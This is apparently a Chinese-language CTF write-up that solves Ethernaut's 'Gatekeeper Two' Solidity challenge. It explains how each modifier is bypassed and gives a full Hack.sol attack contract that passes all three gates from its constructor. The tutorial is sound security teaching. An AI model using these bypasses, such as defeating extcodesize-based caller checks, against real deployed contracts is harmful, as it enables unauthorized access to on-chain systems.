Appearance
智闯天关:Gatekeeper Two CTF深度解析与完美破解
在Ethernaut的区块链安全挑战世界中,"Gatekeeper Two"无疑是一道令人兴奋且极具教育意义的关卡。它不仅仅考验你对Solidity基础的掌握,更深入触及了EVM底层机制、汇编语言以及巧妙的位运算。想要成为那名幸运的entrant?准备好迎接一场思维的风暴吧!
挑战描述:三道智能合约之门
Gatekeeper Two合约设置了三道“守卫之门”(modifier),只有全部通过,你才能成功调用enter函数,将你的地址注册为entrant。让我们逐一拆解这些门背后隐藏的玄机。
第一道门:熟悉的陌生人 (gateOne)
solidity
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
这道门对于经历过“Gatekeeper One”的你来说,应该是老朋友了。它要求msg.sender(当前函数的直接调用者)不能等于tx.origin(交易发起者,即你的外部账户EOA)。
破解思路: 最直接的方法就是通过一个中间合约来调用GatekeeperTwo的enter函数。这样,你的EOA是tx.origin,而中间合约的地址将是msg.sender,两者自然不同,第一道门轻松通过。
第二道门:汇编魔法与代码尺寸之谜 (gateTwo)
solidity
modifier gateTwo() {
uint256 x;
assembly {
x := extcodesize(caller())
}
require(x == 0);
_;
}
这道门开始引入了挑战性!
assembly:Solidity的内联汇编功能,允许合约直接与EVM底层指令交互。extcodesize(caller()):一个EVM指令,用于获取指定地址的代码大小。caller()在汇编中等同于msg.sender,即当前函数的直接调用者。require(x == 0):要求调用者的代码大小必须为零。
核心难题: 一个已部署的合约,其代码大小通常不为零。那什么时候一个合约的extcodesize会是0呢?
破解思路: 这正是这道门最巧妙的地方!根据以太坊黄皮书(Yellow Paper)的第七节,一个合约的extcodesize在其构造函数执行期间是零。当合约的代码正在被部署时,它尚未完全存在于链上,因此其代码大小报告为零。
这意味着,如果我们的中间合约在其构造函数内部调用GatekeeperTwo的enter函数,那么此时msg.sender(即我们的中间合约本身)的extcodesize将为0,第二道门便能顺利通过!
第三道门:位运算的智慧 (gateThree)
solidity
modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
_;
}
最后一道门引入了位运算和哈希计算:
keccak256(abi.encodePacked(msg.sender)):计算msg.sender地址的Keccak-256哈希值。bytes8(...):将哈希值截断为8字节。uint64(...):将8字节数据转换为uint64无符号整数。^:位异或(XOR)操作符。type(uint64).max:uint64类型所能表示的最大值,即所有64位都为1。
等式解读:A ^ B == type(uint64).max
其中,A是 uint64(bytes8(keccak256(abi.encodePacked(msg.sender))))。 B是你需要传入的 uint64(_gateKey)。
当两个数异或结果是所有位都为1的最大值时,这意味着这两个数互为位反码(bitwise complement)。换句话说,如果A的某一位是0,那么B的对应位就是1;如果A的某一位是1,那么B的对应位就是0。
数学性质:A ^ B == MAX 等价于 B == A ^ MAX。
破解思路: 我们需要在调用enter函数时,计算出正确的_gateKey。
- 首先,确定
msg.sender。由于我们使用中间合约调用,msg.sender就是我们中间合约的地址。 - 在中间合约内部,我们可以计算出
s = uint64(bytes8(keccak256(abi.encodePacked(address(this)))))(address(this)即为中间合约自己的地址)。 - 然后,根据异或的性质,我们所需的
_gateKey就是k = s ^ type(uint64).max。 - 将计算出的
k(uint64类型)转换为bytes8,作为参数传入enter函数。
完美破解:Hack.sol 的诞生
综合以上分析,我们可以设计一个巧妙的攻击合约Hack.sol,它将在其构造函数中完成所有“闯关”操作:
solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IGatekeeperTwo {
function entrant() external view returns (address);
function enter(bytes8) external returns (bool);
}
contract Hack {
IGatekeeperTwo private immutable target;
constructor(address _target) {
target = IGatekeeperTwo(_target);
// Gate Three calculation:
// s = uint64(bytes8(keccak256(abi.encodePacked(msg.sender))))
// msg.sender here is 'this' (the Hack contract itself)
uint64 s = uint64(bytes8(keccak256(abi.encodePacked(address(this)))));
// _gateKey = s ^ type(uint64).max
uint64 k = s ^ type(uint64).max;
bytes8 key = bytes8(k);
// Attempt to enter the GatekeeperTwo contract
// This call is made from the constructor of Hack.sol
// Bypasses Gate One (msg.sender != tx.origin)
// Bypasses Gate Two (extcodesize(caller()) == 0, because we are in constructor)
// Bypasses Gate Three (calculated key `k`)
require(target.enter(key), "Enter fail!");
}
}
Hack合约的工作原理:
- 部署
Hack合约:你的EOA部署Hack合约。 Hack的构造函数执行:msg.sender为Hack合约地址,tx.origin为你的EOA。第一道门通过。target.enter(key)被调用时,GatekeeperTwo合约中的caller()(即msg.sender)是Hack合约。此时,Hack合约的构造函数正在执行,其代码尚未完全部署,所以extcodesize(caller())返回0。第二道门通过。Hack合约计算出自身的地址哈希,并与type(uint64).max异或,得到正确的_gateKey,并将其传入enter函数。第三道门通过。
- 成功注册:
GatekeeperTwo合约的entrant将被设置为你的EOA(因为enter函数最终会将tx.origin赋值给entrant)。
学习与启示
"Gatekeeper Two"是一个精彩的挑战,它教会我们:
tx.origin与msg.sender的区别:在合约交互中至关重要。- EVM底层机制:理解合约部署过程中
extcodesize的变化,以及合约构造函数的特殊性。 - Solidity
assembly:了解它如何提供对EVM底层操作的访问。 - 位运算的巧妙应用:XOR在密码学和协议设计中的常见用途,尤其是在计算位反码时。
- 攻击合约的强大作用:在许多CTF和实际场景中,通过部署一个辅助合约来触发特定条件是常用的策略。
通过解决这个挑战,你不仅提升了Solidity编程技能,更深入理解了EVM的运行机制,为成为一名合格的区块链安全工程师或开发者打下了坚实的基础!勇敢地去探索更多区块链的奥秘吧!